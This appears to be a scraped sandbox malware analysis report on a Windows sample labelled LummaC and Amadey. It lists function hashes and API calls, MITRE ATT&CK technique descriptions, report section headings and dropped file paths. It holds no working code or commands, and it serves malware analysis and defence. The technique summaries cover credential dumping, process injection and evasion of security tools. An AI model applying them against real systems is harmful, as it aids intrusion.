API ID: ExceptionThrowmallocmemmove
String ID:
API String ID: 2847158419-0
Opcode ID: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction ID: f182a3d01f6e64ab088ae880070f55d96262611af29ba34de757d5496289260d
Opcode Fuzzy Hash: 82b4f0498024add381b52464ee5401255b55fdf908ae796dc16d5b0bf27a9309
Instruction Fuzzy Hash: 1F219D37201F5085DB119F1AE91472BB3A0F784FA8F198215EFA80B394DF38C496C740

Function 00A3C90C Relevance: 1.3, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00A3C995

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction ID: 6b5f57f60c0091b608f811b2a2b980d048e252ef427bca25a1236e3f0dd492ff
Opcode Fuzzy Hash: eb002aa5dddfab1f6f72238e3db67cd756069b3d051d820f05e845315efd0b1d
Instruction Fuzzy Hash: FE1159727156508BCB30CB6CEC503287260F7007B0F668436FBCABBA11DB6ACC929341

Function 00A38624 Relevance: 1.3, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A386A9

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction ID: 5c8c56166e3fe9d5c6704b725486b7910bed2f0b12a969d7ee17f067a4318cad
Opcode Fuzzy Hash: 0cb8849b5f1b8dcf8495defb4a02ef2f2e9066f911d13bd2e7f25b7badd2a547
Instruction Fuzzy Hash: 19011DB635624086E710CF14D66D35E7BA0B7D5B68F140208EBA44B3D1C77EC54ACB94

Function 00A3CB78 Relevance: 1.3, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00A3CBA8

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction ID: 394be28dac48b96db409e65972dda3c0bfb5f9782b36d3edeaf34df870577ef0
Opcode Fuzzy Hash: 72e9e68ca430013701742a141a95d2249b3bc08b53a58632590991780ceaea4c
Instruction Fuzzy Hash: F4F0E5623101888BCB00DF799D81268A1A1FB487A5F905439FF8697602E92CCC998724

Function 00A3CB34 Relevance: 1.3, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A389D8: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00A389EA

GetLastError.KERNEL32 ref: 00A3CB49

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction ID: ac323ee3c0e6f5fec5be1f60bb0f9a73edc69ac2cf1d617df140fb87e9f7283f
Opcode Fuzzy Hash: a07007c1e2871dab96c79eb06679e0159d305b21fb5ff06fcf71a401af31ebbf
Instruction Fuzzy Hash: 8ED05B4175019486DB506FB95CD13344091B718762FD01535FE5BD6652E41C8DDD632A

Function 00A33314 Relevance: 1.3, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00A33339

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction ID: e6fc8e3579914d40ccd23c75ef60af51bde9695e1e057f0e6b079a88e925e17c
Opcode Fuzzy Hash: ead37c245d68de3b924b300fd151c9469a6fa14fdf63e67ea49c121c3f4112c9
Instruction Fuzzy Hash: C5D05EA67416C887CA149B27DB8161DA3219B88FD4B08D0249F080B70ACE20C8E58740

Function 00A389D8 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,FFFFFFFF,?,?,?,00000003,?,00000000,00000000), ref: 00A389EA

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction ID: 96bb0b7c6c448c07a7abbc7e0e8b9a73155af85129c1f44e8884a4fa7fadceff
Opcode Fuzzy Hash: 7026176aaa05c1561b6c1c0339a02e34eafe156cfb338b490f72a4c876cde8b9
Instruction Fuzzy Hash: 61D0A772701A4480DB251F7ECC403341350A715B75F184311EAB44B2D0DF2889C68302

Function 00A3CDF4 Relevance: 1.3, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00A3CE0D

Memory Dump Source

Source File: 0000000B.00000002.2895607797.0000000000A31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00A30000, based on PE: true

Associated: 0000000B.00000002.2895582605.0000000000A30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895650201.0000000000A7F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895681587.0000000000A9C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000B.00000002.2895705494.0000000000A9F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a30000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction ID: 3efbfbcd248931a1ab676d242d5bee68a496380ee16f72799e1f4e8b3269b7ec
Opcode Fuzzy Hash: 05270de921355061923bde3ca11a4f499c626c5521d971614da1d539e5086f1e
Instruction Fuzzy Hash: A1C08C2178224802C909222B6F8632C42020F8ABE1E6C4020BE481BB52DA5888E68700

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Windows Analysis Report
file.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre